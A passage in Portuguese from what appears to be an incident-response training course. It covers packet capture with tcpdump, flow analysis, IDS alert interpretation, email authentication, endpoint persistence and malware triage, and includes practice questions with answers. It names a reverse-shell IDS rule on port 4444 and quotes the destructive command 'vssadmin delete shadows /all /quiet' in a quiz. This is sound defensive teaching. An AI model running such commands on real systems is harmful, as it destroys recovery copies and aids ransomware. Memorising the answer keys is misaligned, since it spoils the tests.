    Mantenha duas perguntas separadas durante toda a investigação: o que o sensor observou e o que essa observação permite concluir sobre a estação de trabalho.

  2. 2
    ExplicaçãoPosicione o sensor no caminho

    Uma captura na borda da rede com a internet pode ver a conexão externa da estação de trabalho, mas não capta o tráfego que permanece dentro de um switch. Uma captura fora do NAT também precisa de registros de tradução para identificar a origem interna.

    Escolha uma captura no host ou um fluxo de TAP/SPAN corretamente posicionado para responder à pergunta. A capacidade importa: combinar os dois sentidos de um enlace movimentado pode ultrapassar a capacidade de uma porta de monitoramento e causar perda de pacotes.

  3. 3
    ExemploSalve o tráfego do host

    Neste caso, capture o tráfego da estação de trabalho em 192.168.1.50 na interface eth0:

    sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22
    

    As opções selecionam a interface, evitam consultas de nomes, mantêm os pacotes completos e salvam os dados brutos. O filtro de host mantém os dois sentidos; excluir a porta 22 remove a sessão remota do analista quando ela usa essa porta.

  4. 4
    DesafioRecupere um protocolo excluído

    Suponha que uma captura tenha usado host 192.168.1.50 and tcp port 443. Um filtro de exibição posterior pode revelar os pacotes UDP 443 desse host?

    ---reveal---

    Não. O filtro de captura excluiu UDP antes de salvar, por isso um filtro de exibição não tem nada a revelar. UDP 443 pode incluir QUIC. Verifique outra fonte ou faça uma captura com um filtro mais amplo e adequado; preserve a primeira captura com o intervalo de tempo e as estatísticas de perda.

  5. 5
    ExemploIdentifique o cliente

    A troca salva começa com 192.168.1.50:51544 → 203.0.113.80:443 SYN. O servidor envia SYN-ACK de volta para a porta 51544, e o cliente envia ACK.

    A estação de trabalho iniciou a conexão. A porta alta identifica esse ponto da conexão no lado do cliente; a resposta inverte o par. Um número de porta sugere o serviço esperado, mas o estabelecimento da conexão, por si só, não informa qual aplicação é transportada nela.

  6. 6
    ExemploLeia o conteúdo retornado

    Use Follow TCP Stream no download em texto claro. A requisição informa /update.php?id=WS-0423 e Host: cdn-update.example.net. A resposta é bem-sucedida e o corpo começa com MZ.

    A resposta parece entregar um executável, embora o caminho termine em .php. Exporte o objeto para verificar tipo, hash e assinatura. O caminho da URL é um alvo de requisição, não uma garantia sobre o formato do arquivo retornado.

  7. 7
    ExplicaçãoSaiba quais detalhes do TLS estão visíveis

    Se uma troca posterior usar TLS, a carga útil estará criptografada sem os segredos de sessão adequados ou um ponto de inspeção. Horários e tamanhos em bytes continuam úteis. Um Client Hello visível pode fornecer SNI e uma impressão digital.

    O ECH pode ocultar o nome solicitado. O TLS 1.3 também criptografa o certificado do servidor, diferentemente do TLS 1.2. Registre o que essa captura realmente expõe antes de decidir quais evidências de nome ou certificado estão ausentes.

  8. 8
    DesafioVerifique uma associação de domínio

    O DNS retornou 198.51.100.7 para um domínio suspeito, e o host se conectou a esse IP. O que tornaria a associação com o domínio mais forte?

    ---reveal---

    Um cabeçalho Host do HTTP, uma SNI visível do TLS, um registro de proxy ou um evento de endpoint que informe esse domínio reforçaria a associação. Outros domínios podem compartilhar o IP. A sequência é uma pista útil, mas atribuir toda conexão a esse endereço a um único domínio ignora uma verificação de identidade necessária.

  9. 9
    AnalogiaUse a conta detalhada do tráfego

    Um registro de fluxo é como uma conta telefônica detalhada: participantes, horários e volume são preservados, mas as palavras da conversa não. Ele é útil para pesquisar um período maior do que o normalmente mantido em uma captura completa.

    Primeiro, encontre o host e o intervalo suspeitos no histórico de fluxo. Depois, obtenha os pacotes da troca específica, se existirem, mantendo a distinção entre medições de tráfego e evidências de conteúdo.

  10. 10
    ExemploReconstrua a conexão medida

    Uma conexão pode ter registros de fluxo separados para ida e volta, além de fragmentos causados por tempos limites. Associe endereços e portas em ordem inversa, preserve o protocolo e reúna os fragmentos pertencentes àquela troca.

    Some separadamente os bytes de saída e de entrada. Meça o tempo do início mais antigo ao término mais recente. Somar durações de sentidos sobrepostos pode fazer uma conexão de 40 minutos parecer durar 80 minutos.

  11. 11
    ExemploCalcule volume e taxa

    O host envia 2,4 GB e recebe 12 MB entre 02:10 e 02:50 UTC. Converta o volume enviado em 2.400 MB: a proporção entre saída e entrada é 200:1.

    O intervalo é de 2.400 segundos, por isso a média de saída é de 1 MB/s, ou 8 Mbit/s. Essas são medições. A avaliação seguinte as compara com a função do host, o tráfego esperado de cópia de segurança, o histórico do destino e o processo responsável.

  12. 12
    DesafioInterprete um campo de bytes vazio

    O Zeek registra o estado TCP S0, um pacote de origem e zero bytes de carga útil. A tentativa deve ser descartada como ausência de tráfego?

    ---reveal---

    Não. O registro descreve uma tentativa observada sem resposta. Um SYN não contém carga útil de aplicação, por isso zero bytes de carga útil são compatíveis com a evidência do pacote. Exportadores de fluxo que incluem cabeçalhos IP podem informar bytes diferentes de zero para a mesma tentativa; compare os significados dos campos antes de comparar os totais.

  13. 13
    ExemploMeça o intervalo recorrente

    Conexões ocorrem às 10:00:00, 10:05:02, 10:09:59, 10:15:01 e 10:20:00. Os intervalos são de 302, 297, 302 e 299 segundos, com média de 300 segundos.

    Pequenas transferências semelhantes nesse ritmo sugerem um temporizador de software. Verifique o processo e o destino antes de classificar a atividade como C2; softwares de atualização aprovados também se comunicam repetidamente. Uma variação maior pode ser acrescentada a um temporizador, por isso a regularidade perfeita não é necessária.

  14. 14
    ExplicaçãoLeia a condição real do IDS

    Uma regra gera alerta para TCP de $HOME_NET a $EXTERNAL_NET na porta 4444 com flow:to_server,established. A mensagem diz “Possível shell reverso”.

    A conexão estabelecida e a direção são condições testadas pela regra. Comandos de shell não estão entre essas condições. Leia sid e a revisão para identificar a regra e inspecione os pacotes e o processo no endpoint para determinar o que significava o tráfego correspondente.

  15. 15
    DesafioVerifique a autorização da varredura

    Um host testa muitas portas em um servidor, produzindo principalmente REJ e S0. O que deve ser verificado antes de classificar isso como varredura de um atacante?

    ---reveal---

    Verifique o inventário de scanners aprovados e a programação de testes. O padrão é uma varredura vertical, mas uma varredura de vulnerabilidades autorizada também pode criá-lo. Uma correspondência de endereço de origem só é útil quando a atribuição atual do endereço e o horário do teste também correspondem à autorização.

  16. 16
    DesafioReúna as pistas de rede

    O novo destino apresenta contatos periódicos, um grande envio durante a noite e um alerta baseado em porta. Quais evidências devem determinar se esses elementos pertencem a uma mesma cadeia de atividade maliciosa?

    ---reveal---

    Use instâncias de processos do endpoint para atribuir as conexões e, depois, inspecione o protocolo e o contexto do destino. Compare o envio com atividades aprovadas. Um IP compartilhado e uma mensagem de regra deixam aberta a possibilidade de tráfego sem relação ou de infraestrutura compartilhada, por isso não podem, por si só, comprovar C2 e roubo.

  17. 17
    RecapitulaçãoLeve as evidências adiante

    Você agora tem uma captura com ponto de observação conhecido, uma troca reconstruída, medições de tráfego por sentido e uma interpretação testada do alerta. A transferência de atendimento deve manter os pacotes relevantes, as marcas temporais originais, os hashes e as referências de consultas.

    Se o tráfego continuar suspeito, o próximo pivoteamento mais útil é para o processo no endpoint que o produziu: esse processo pode conectar o padrão de rede à execução, aos arquivos e à persistência.

2

Investigue uma mensagem de fornecedor denunciada

13 passos
Leia cabeçalhos confiáveis, examine uma solicitação de pagamento e determine o escopo dos destinatários afetados.

Salve esta aula para seguir cada Lição Interativa passo a passo.

  1. 1
    IntroduçãoComece pela mensagem original
  2. 2
    ExplicaçãoSepare os campos do remetente
  3. 3
    DicaEncontre o limite de confiança
  4. 4
    ExemploCompare os domínios aprovados
  5. 5
    DesafioUse uma assinatura alinhada que permaneceu válida
  6. 6
    ExemploInspecione a ação de negócio
  7. 7
    ExplicaçãoLeia o host real em um link
  8. 8
    DesafioEscolha uma verificação independente
  9. 9
    ExemploDecodifique uma URL personalizada
  10. 10
    ExplicaçãoPesquise entrega e interação separadamente
  11. 11
    DesafioDetermine o escopo além de quem denunciou
  12. 12
    DesafioDecida quais evidências mudam o caso
  13. 13
    RecapitulaçãoTransfira o alcance e o impacto
3

Rastreie a execução e encontre as formas de retorno

16 passos
Acompanhe a árvore de processos de um documento, inspecione a persistência e relacione alterações no host a um incidente.

Salve esta aula para seguir cada Lição Interativa passo a passo.

  1. 1
    IntroduçãoAcompanhe o histórico do host
  2. 2
    ExplicaçãoConfirme a telemetria
  3. 3
    DesafioMantenha instâncias de processos separadas
  4. 4
    ExemploLeia a linhagem
  5. 5
    ExplicaçãoDecodifique o texto do comando
  6. 6
    DesafioAvalie uma ferramenta assinada
  7. 7
    ExemploLeia o gatilho de logon
  8. 8
    ExemploInspecione a ação agendada
  9. 9
    ExplicaçãoPesquise além de dois locais
  10. 10
    DesafioTrate duas vias de persistência
  11. 11
    ExemploInterprete a data de arquivo aparentemente antiga
  12. 12
    ExplicaçãoEncontre alterações nas defesas
  13. 13
    DesafioRelacione um arquivo compactado a um envio
  14. 14
    ConexãoUse o inventário como contexto
  15. 15
    DesafioEscolha uma contenção que preserve evidências
  16. 16
    RecapitulaçãoDescreva a cadeia no host
4

Transforme um arquivo suspeito em achados testáveis

14 passos
Combine a reputação do arquivo exato, pistas estáticas e uma execução controlada em ambiente isolado de análise.

Salve esta aula para seguir cada Lição Interativa passo a passo.

  1. 1
    IntroduçãoFaça uma pergunta diferente a cada método
  2. 2
    ExemploRegistre o identificador exato do conteúdo
  3. 3
    ExplicaçãoLeia o relatório além da proporção
  4. 4
    DesafioInterprete um arquivo assinado desconhecido
  5. 5
    ExemploVerifique o formato real do arquivo
  6. 6
    ExemploExtraia as duas formas de texto
  7. 7
    ExplicaçãoCombine pistas de empacotamento
  8. 8
    DesafioLeia uma regra YARA com condições conjuntas
  9. 9
    ExplicaçãoAjuste o ambiente de execução
  10. 10
    ExemploExtraia comportamentos e artefatos
  11. 11
    DesafioExplique uma execução inativa
  12. 12
    DesafioSepare comportamento de entrega
  13. 13
    ConexãoPesquise com pistas duradouras
  14. 14
    RecapitulaçãoMantenha capacidade e observação distintas
5

Construa e transfira um achado de incidente defensável

11 passos
Alinhe evidências, teste relações causais e documente uma conclusão com nível de confiança.

Salve esta aula para seguir cada Lição Interativa passo a passo.

  1. 1
    IntroduçãoTorne as evidências verificáveis
  2. 2
    ExemploConverta o horário do console
  3. 3
    ExplicaçãoVerifique a quem o endereço estava atribuído
  4. 4
    ExemploConstrua a sequência observada
  5. 5
    DesafioTeste uma conclusão baseada em IP compartilhado
  6. 6
    Ideia-chaveUse o ATT&CK para descrever o que foi observado
  7. 7
    ExplicaçãoDiferencie detecção de autorização
  8. 8
    DesafioClassifique uma implantação aprovada
  9. 9
    ExemploEscreva a conclusão e a transferência de atendimento
  10. 10
    DesafioMantenha a afirmação final proporcional
  11. 11
    RecapitulaçãoDeixe um caso que outras pessoas possam continuar

Questões de Análise de rede, e-mail e endpoints

50 Questões de Prática em 5 conjuntos

Conjunto 1: Leia o tráfego e teste o alerta10 Questões de Prática

Questão 1 de 10

Um analista quer alterar quais pacotes o Wireshark mostra sem descartar evidências salvas. Que tipo de filtro é necessário?
  1. Um filtro de captura aplicado à captura salva
  2. Um filtro de exibição aplicado à captura salva
  3. Um filtro BPF fornecido antes de salvar os pacotes
  4. Um filtro de interface que limita o fluxo de captura
Mostrar respostaOcultar resposta
Resposta: B
Um filtro de exibição altera a seleção visível enquanto mantém disponíveis os pacotes salvos. Um filtro de captura determina o que é mantido durante a coleta, por isso o tráfego excluído não pode ser recuperado depois com uma mudança de visualização. Os dois filtros também usam sintaxes diferentes.

Questão 2 de 10

Um sensor fora de um gateway NAT registra uma conexão de saída suspeita a partir do endereço público compartilhado. O que o analista deve usar para identificar o host interno naquele momento?
  1. O inventário mais recente sem histórico de atribuições
  2. O proprietário do IP público sem mapeamento de portas da conexão
  3. O mapeamento DNS atual do servidor remoto
  4. Os registros de NAT da conexão pública no horário correspondente
Mostrar respostaOcultar resposta
Resposta: D
O registro de tradução do gateway associa a conexão pública observada ao endpoint interno no horário do evento. Uma concessão DHCP atual não fornece essa tradução, e um endereço pode ter mudado de proprietário. Inclua portas e horários para distinguir conexões simultâneas.

Questão 3 de 10

Uma troca TCP começa com 10.8.0.14:53720 → 203.0.113.62:8443 SYN. Qual endpoint iniciou a conexão?
  1. 10.8.0.14 usando a porta de origem 53720
  2. 203.0.113.62 usando a porta de serviço 8443
  3. 10.8.0.14 usando a porta de destino 8443
  4. 203.0.113.62 usando a porta de destino 53720
Mostrar respostaOcultar resposta
Resposta: A
O remetente do SYN inicial é o iniciador, por isso o cliente é 10.8.0.14 na porta 53720. A porta de destino pertence ao endpoint do serviço nesse pacote. Uma resposta inverteria os pares de endereços e portas, o que poderia fazer o servidor parecer o iniciador.

Questão 4 de 10

Um GET em texto claro para /status.asp recebe uma resposta que começa com 4D 5A. O que o analista deve inferir e verificar em seguida?
  1. Pode haver um script de servidor; infira o tipo pela extensão .asp
  2. Pode haver um executável; inspecione a estrutura e o hash
  3. Pode haver um PDF; infira o tipo pelo nome do objeto
  4. Pode haver uma página web; confie na URL acima do corpo
Mostrar respostaOcultar resposta
Resposta: B
Os bytes iniciais representam MZ, uma assinatura comum de executável do Windows, por isso inspecione a estrutura e o hash do objeto recuperado. A URL .asp identifica o caminho da requisição, não o formato do arquivo retornado. Trate a divergência de tipo como uma pista de investigação e relacione a requisição ao processo no endpoint.

Questão 5 de 10

Que tipo de evidência normalmente está ausente de um registro de fluxo de rede?
  1. As portas de transporte de origem e destino
  2. As marcas temporais registradas de início e término
  3. A carga útil da aplicação transportada nos pacotes
  4. Os contadores de bytes e pacotes por sentido
Mostrar respostaOcultar resposta
Resposta: C
Um registro de fluxo resume a comunicação usando campos como endereços, portas, horários e contagens, sem preservar a carga útil da aplicação. Totais de bytes descrevem quanto tráfego foi observado, não as palavras ou os arquivos contidos nele. Obtenha evidências de pacotes ou de aplicação quando precisar do conteúdo.

Questão 6 de 10

Entre 01:10 e 01:40 UTC, uma estação de trabalho envia 900 MB e recebe 9 MB. Quais são a proporção entre saída e entrada e a taxa média de saída?
  1. 100:1 e 4 Mbit/s
  2. 100:1 e 0,5 Mbit/s
  3. 10:1 e 4 Mbit/s
  4. 100:1 e 24 Mbit/s
Mostrar respostaOcultar resposta
Resposta: A
Dividir 900 MB por 9 MB resulta em 100:1. Trinta minutos são 1.800 segundos, por isso a taxa é de 0,5 MB/s, ou 4 Mbit/s após multiplicar por oito. Informar 0,5 Mbit/s confunde bytes por segundo com bits por segundo; a proporção de volume não exige essa conversão.

Questão 7 de 10

Quatro registros de fluxo não amostrados pertencem a uma conexão TCP: saída 04:00–04:06, 90 MB; saída 04:06–04:12, 150 MB; retorno 04:00–04:08, 2 MB; retorno 04:08–04:12, 6 MB. Quais são a proporção entre saída e entrada e a taxa média de saída?
  1. 30:1 e cerca de 1,33 Mbit/s
  2. 15:1 e cerca de 2,67 Mbit/s
  3. 30:1 e cerca de 0,33 Mbit/s
  4. 30:1 e cerca de 2,67 Mbit/s
Mostrar respostaOcultar resposta
Resposta: D
O total de saída é 240 MB e o de retorno é 8 MB, resultando em 30:1. O intervalo total decorrido é de 12 minutos, ou 720 segundos, por isso a taxa de saída é de cerca de 0,333 MB/s, ou 2,67 Mbit/s. Somar as durações dos dois sentidos dobra o tempo decorrido e reduz incorretamente a taxa pela metade.

Questão 8 de 10

Um host contata a porta 3389 em 70 estações de trabalho pares em um intervalo curto. Qual padrão de rede o analista deve investigar?
  1. Sondagem vertical de muitos serviços em um host
  2. Tunelamento DNS por uma série de nomes únicos de consulta
  3. Sondagem horizontal de um serviço RDP em vários hosts
  4. Exfiltração em massa por muitas transferências de corpos de resposta
Mostrar respostaOcultar resposta
Resposta: C
A porta de destino permanece a mesma enquanto os alvos mudam, o que caracteriza sondagem horizontal; 3389 normalmente indica RDP. Uma varredura vertical mudaria as portas em um alvo. Verifique a autorização e o processo de origem, pois esse padrão pode sustentar uma investigação de movimentação lateral sem estabelecer, por si só, a finalidade.

Questão 9 de 10

Uma estação de trabalho realiza trocas TCP curtas a cada 238–242 segundos, e uma regra de IDS as identifica como “Possível shell”. A regra testa apenas tráfego de saída estabelecido para a porta 4444. O EDR atribui as trocas a um agente de monitoramento assinado e aprovado, e o destino corresponde ao coletor documentado desse agente. Qual conclusão se aplica a esse disparo da regra?
  1. Um verdadeiro positivo malicioso para um shell reverso verificado
  2. Um verdadeiro positivo benigno para o tráfego autorizado do agente
  3. Um falso positivo porque o agente estava autorizado
  4. Uma varredura inconclusiva porque o intervalo varia ligeiramente
Mostrar respostaOcultar resposta
Resposta: B
O tráfego estabelecido corresponde à regra, enquanto o processo e o destino documentado explicam um uso autorizado. Isso sustenta um verdadeiro positivo benigno para as condições reais da regra. A mensagem não comprova a execução de um shell, e os intervalos regulares indicam automação sem torná-la maliciosa.

Questão 10 de 10

Um host faz milhares de consultas DNS com rótulos longos, únicos e aparentemente codificados sob um mesmo domínio pai. O que o analista deve investigar primeiro?
  1. Possível uso de DGA; trate os rótulos como domínios que falharam
  2. Possível enumeração; suponha consultas de serviço legíveis
  3. Resolução rotineira; aceite o domínio pai comum como aprovação
  4. Possível tunelamento DNS; inspecione o processo de origem
Mostrar respostaOcultar resposta
Resposta: D
Muitos rótulos longos e únicos sob um mesmo domínio pai são compatíveis com um possível túnel DNS que transporta partes de dados. Verifique o volume de consultas, os tipos de registro e o processo responsável. Um DGA costuma tentar muitos nomes de domínio gerados, frequentemente produzindo respostas NXDOMAIN; esse padrão de falha não foi informado aqui.
Conjunto 2: Rastreie a identidade do e-mail e o alcance da campanha10 Questões de Prática

Salve esta aula para ver todas as respostas e praticar cada conjunto.

Questão 1 de 10

Qual endereço da mensagem fornece o domínio protegido pelo alinhamento DMARC?
  1. O endereço de devolução no cabeçalho Return-Path
  2. O destino de resposta no cabeçalho Reply-To
  3. O endereço visível no cabeçalho From
  4. O nome do servidor intermediário no cabeçalho Received mais recente
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 2 de 10

Uma mensagem tem From accounts@example.org, SPF pass para bounce.mailer.example.net e DKIM pass para example.org. Qual é o resultado do DMARC com alinhamento estrito?
  1. Passa, pois o domínio DKIM aprovado corresponde exatamente ao From
  2. Falha, pois o domínio SPF aprovado é diferente do From
  3. Passa, pois SPF e DKIM passaram para algum domínio
  4. Falha, pois o alinhamento estrito exige alinhamento dos dois métodos
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 3 de 10

Uma mensagem original contém uma linha Received inferior que declara um servidor intermediário de fornecedor confiável e uma linha superior escrita pelo gateway da organização que mostra um IP de conexão sem relação com ele. Um Authentication-Results fornecido pelo remetente informa pass; o resultado do próprio gateway informa DMARC fail. Quais evidências devem fundamentar o achado técnico sobre a origem?
  1. O servidor declarado mais antigo e o resultado pass fornecido pelo remetente
  2. O servidor declarado mais antigo e o resultado de falha do gateway
  3. O IP registrado pelo gateway e o resultado pass fornecido pelo remetente
  4. O IP registrado pelo gateway e o resultado de autenticação do próprio gateway
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 4 de 10

Uma mensagem legítima encaminhada falha no SPF, mas passa no DKIM inalterado com alinhamento flexível ao From. Como o resultado do DMARC pode ser explicado?
  1. O DMARC falha porque a mudança no percurso de entrega invalida o DKIM
  2. O DMARC passa pelo DKIM alinhado apesar da falha do SPF
  3. O DMARC passa porque o encaminhamento desativa as verificações de alinhamento
  4. O DMARC falha porque ambos os métodos devem passar após o encaminhamento
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 5 de 10

Um link é https://portal.example.org@203.0.113.88/session. Qual é o host?
  1. portal.example.org
  2. 203.0.113.88
  3. example.org
  4. 203.0.113.88/session
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 6 de 10

Uma caixa postal verdadeira de fornecedor solicita uma nova conta de pagamento e fornece um número de telefone para verificação. Qual ação verifica a mudança de forma independente?
  1. Ligar para o número fornecido e pedir ao remetente que repita a mudança
  2. Responder na conversa existente e pedir confirmação à mesma caixa postal
  3. Aceitar a solicitação após verificar que o DMARC passou para o fornecedor
  4. Ligar para o fornecedor usando um número estabelecido nos registros existentes
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 7 de 10

Uma solicitação de mudança bancária chega em uma conversa real com um fornecedor, passa na autenticação alinhada e não contém URL nem arquivo. O fornecedor confirma pelo número de telefone estabelecido que não enviou nenhuma solicitação de mudança. Qual achado é mais bem sustentado?
  1. BEC envolvendo a conversa verdadeira; investigue a caixa postal
  2. Falsificação do domínio From; ignore a autenticação alinhada
  3. Mudança aprovada; prefira a conversa à negação
  4. Erro inofensivo; encerre porque não foi enviada carga maliciosa
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 8 de 10

Um parâmetro de URL decodificado contém o endereço de e-mail de um destinatário. O que deve acontecer antes de uma verificação pública aprovada?
  1. Preservar o original e enviar o link sem alterações
  2. Preservar o original e neutralizar apenas o host do link
  3. Preservar o original e remover parâmetros de identificação
  4. Preservar o original e recodificar o endereço em Base64
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 9 de 10

Registros de e-mail mostram 28 destinatários de uma campanha, registros de proxy mostram quatro pessoas que acessaram o link, e registros de conta mostram uma sessão desconhecida imediatamente após uma dessas pessoas inserir credenciais. Não havia anexo. Qual escopo de resposta decorre desses registros?
  1. Remover cópias, investigar quem acessou o link e conter a conta afetada
  2. Remover cópias e investigar apenas o destinatário que denunciou
  3. Redefinir todas as contas como comprometimentos confirmados e encerrar
  4. Remover cópias e bloquear a URL; dispensar a investigação de conta
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 10 de 10

Dois e-mails têm assuntos e nomes de anexos diferentes, mas hashes SHA-256 dos anexos idênticos. Qual pesquisa útil para determinar o escopo deve ser feita em seguida?
  1. Pesquisar apenas o assunto visto primeiro pelo usuário que denunciou
  2. Pesquisar apenas o nome mais recente atribuído ao anexo
  3. Pesquisar o hash comum do anexo nos registros de e-mail e endpoint
  4. Tratar assuntos e nomes alterados como campanhas separadas
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Conjunto 3: Acompanhe a execução e a persistência em endpoints10 Questões de Prática

Salve esta aula para ver todas as respostas e praticar cada conjunto.

Questão 1 de 10

Qual evento do Sysmon fornece detalhes da criação de um processo e um Process GUID?
  1. Evento 3
  2. Evento 11
  3. Evento 22
  4. Evento 1
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 2 de 10

Registros de rede mostram um host enviando dados durante um intervalo de 20 minutos. O console de EDR do host não tem eventos, o agente enviou informações pela última vez duas horas antes, e a coleta de conexões do Sysmon está desativada. Qual conclusão e próximo passo são compatíveis com as evidências?
  1. O envio é benigno; uma proteção de endpoint operacional teria gerado um alerta
  2. Falta atribuição no endpoint; preserve evidências de rede e investigue a lacuna do sensor
  3. O endpoint estava desconectado; o registro de rede deve pertencer a outro fuso horário
  4. O envio é malware; a coleta de conexões desativada comprova adulteração pelo atacante
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 3 de 10

Qual codificação de texto o EncodedCommand do PowerShell usa para os bytes decodificados de Base64?
  1. UTF-16LE
  2. UTF-8
  3. ASCII
  4. UTF-16BE
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 4 de 10

O EDR mostra WINWORD.EXE iniciando mshta.exe, com assinatura válida, usando uma URL remota. O que torna a invocação suspeita apesar da assinatura válida?
  1. Uma assinatura válida torna aprovada a invocação remota
  2. Uma URL remota comprova o roubo do certificado de assinatura
  3. O documento como processo pai e os argumentos remotos sugerem uso indevido de LOLBin
  4. O nome de ferramenta do sistema comprova um executável incorporado ao documento
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 5 de 10

Um processo Linux chama-se [kworker/3:2]. Ele é executado como usuário comum, descende de um shell e /proc/<pid>/exe aponta para um arquivo excluído em /dev/shm. Como essas pistas devem ser interpretadas?
  1. Uma thread real do kernel foi renomeada após uma atualização rotineira do sistema em memória
  2. Um processo de usuário está se passando por thread do kernel e precisa ser investigado
  3. Uma thread real do kernel foi removida com segurança porque o executável foi excluído
  4. Um shell de usuário apenas exibe um processo do kernel cujo processo pai é necessariamente o PID 2
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 6 de 10

Um valor Run no escopo de usuário aponta para um executável no perfil móvel do usuário. Qual evento aciona a inicialização automática normal?
  1. A inicialização do computador
  2. A criação da carga útil
  3. O logon desse usuário
  4. A passagem de trinta minutos
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 7 de 10

Uma carga útil sem assinatura tem uma nova entrada Run e uma tarefa acionada a cada 20 minutos. Um analista exclui o valor Run e redefine a senha do usuário, mas a mesma carga útil inicia novamente antes do próximo logon. O que explica a recorrência e o que deve ser inspecionado?
  1. A tarefa pode reiniciá-la; registre a ação e analise outros gatilhos
  2. A chave Run se restaurou; registre apenas o caminho antigo no registro
  3. A redefinição deixou um token ativo; verifique sessões e ignore tarefas
  4. O arquivo permaneceu presente; exclua-o sem registrar a tarefa
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 8 de 10

Um novo serviço do Windows inicia um executável sem assinatura a partir de uma pasta pública. Onde o analista pode procurar o evento de instalação desse serviço?
  1. Evento 4624 de Segurança ou evento 22 do Sysmon
  2. Evento 4104 do PowerShell ou evento 2 do Sysmon
  3. Evento 4720 de Segurança ou evento 15 do Sysmon
  4. Evento 7045 de Sistema ou evento 4697 de Segurança
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 9 de 10

Uma carga útil tem uma data de criação antiga, mas o Sysmon registra que ela foi criada durante o incidente e depois registra o evento 2 do mesmo processo. Pouco depois, esse processo cria partes de um arquivo compactado e abre uma conexão de saída. O que o analista deve concluir e verificar?
  1. A data exibida tem prioridade; trate a carga útil como antiga e sem relação com o incidente
  2. A manipulação da marca temporal é compatível; verifique os arquivos preparados em relação ao processo de envio
  3. O evento 2 comprova criptografia; comunique o conteúdo do arquivo compactado como registros roubados confirmados
  4. O horário comum do processo comprova roubo; comunique cada byte preparado como transferido com sucesso
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 10 de 10

Uma cadeia suspeita de processos iniciada por um documento executa vssadmin delete shadows /all /quiet. Por que isso exige escalonamento urgente?
  1. O comando remove cópias de recuperação e pode preceder a criptografia por ransomware
  2. O comando comprova que todos os arquivos de usuário já foram criptografados
  3. O comando remove apenas o índice de cópias de segurança e mantém as cópias de recuperação intactas
  4. O comando prova uma limpeza autorizada por uma ferramenta administrativa integrada do Windows
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Conjunto 4: Compare reputação, pistas estáticas e comportamento em ambiente isolado10 Questões de Prática

Salve esta aula para ver todas as respostas e praticar cada conjunto.

Questão 1 de 10

Os bytes de um arquivo permanecem inalterados, mas o nome do arquivo muda. O que acontece com o SHA-256?
  1. O hash do conteúdo permanece igual
  2. O hash muda com o nome
  3. O hash muda com a extensão
  4. O hash muda com o caminho do arquivo
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 2 de 10

Uma denúncia de abuso de IP tem seis meses e diz respeito a um endereço de nuvem compartilhado. O que deve ser verificado antes de bloquear a conexão atual?
  1. A cidade da GeoIP como identidade do operador atual
  2. A pontuação histórica como conclusão permanente sobre o cliente
  3. O uso atual, o comportamento local e o impacto colateral
  4. O proprietário atual como prova de que o tráfego é seguro
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 3 de 10

Uma pasta de trabalho interna confidencial tem um hash desconhecido. Um executável assinado relacionado tem 2/68 detecções e uma cadeia de processos não aprovada. Qual plano de análise trata os dois achados adequadamente?
  1. Analisar a pasta de trabalho publicamente e aprovar o executável com poucas detecções
  2. Analisar a pasta de trabalho em ambiente privado e aprovar o executável assinado
  3. Renomear e enviar a pasta de trabalho e tratar 2/68 como conclusão final
  4. Analisar a pasta de trabalho em ambiente privado e investigar o comportamento do executável
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 4 de 10

Um suposto PDF começa com 4D 5A. Qual é a próxima verificação útil do tipo de arquivo?
  1. Aceitar o nome de PDF como formato real
  2. Inspecionar a estrutura de executável e registrar o hash
  3. Usar apenas MZ para identificar uma família de malware
  4. Usar o nome semelhante ao de PDF para classificar o arquivo, sem verificar a estrutura interna
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 5 de 10

Uma amostra PE tem poucas strings ASCII, importações escassas, seções UPX e uma URL característica em UTF-16LE. Instaladores comprovadamente seguros compartilham a alta entropia e os nomes comuns de importações da amostra. Como uma investigação assistida por YARA deve tratar a correspondência e a análise posterior?
  1. Buscar o texto largo relevante, testar correspondências benignas e inspecionar o comportamento em execução controlada
  2. Buscar apenas importações ASCII comuns, dispensar testes benignos e interpretar alta entropia como sinal de atividade maliciosa
  3. Buscar a URL apenas em ASCII, testar arquivos benignos e tratar strings ausentes como comportamento ausente
  4. Buscar as duas codificações de texto, dispensar testes benignos e tratar toda correspondência em arquivo empacotado como malware
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 6 de 10

Uma expressão regular extrai 999.12.4.8 como texto semelhante a IPv4. O que o analista deve fazer com esse resultado?
  1. Aceitá-lo porque uma correspondência de expressão regular garante a validade do endereço
  2. Consultar a localização GeoIP antes de verificar os intervalos numéricos
  3. Mantê-lo como indicador porque o padrão com pontos corresponde
  4. Rejeitá-lo como endereço inválido após verificar os octetos
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 7 de 10

Uma regra YARA exige MZ no deslocamento zero e uma correspondência para pelo menos uma das strings A e B. A amostra X tem MZ no zero e B em uma codificação larga compatível. A amostra Y tem MZ apenas no deslocamento 20 e ambas as strings A e B. Qual amostra corresponde e por quê?
  1. Ambas; a string extra em Y compensa o deslocamento diferente do cabeçalho
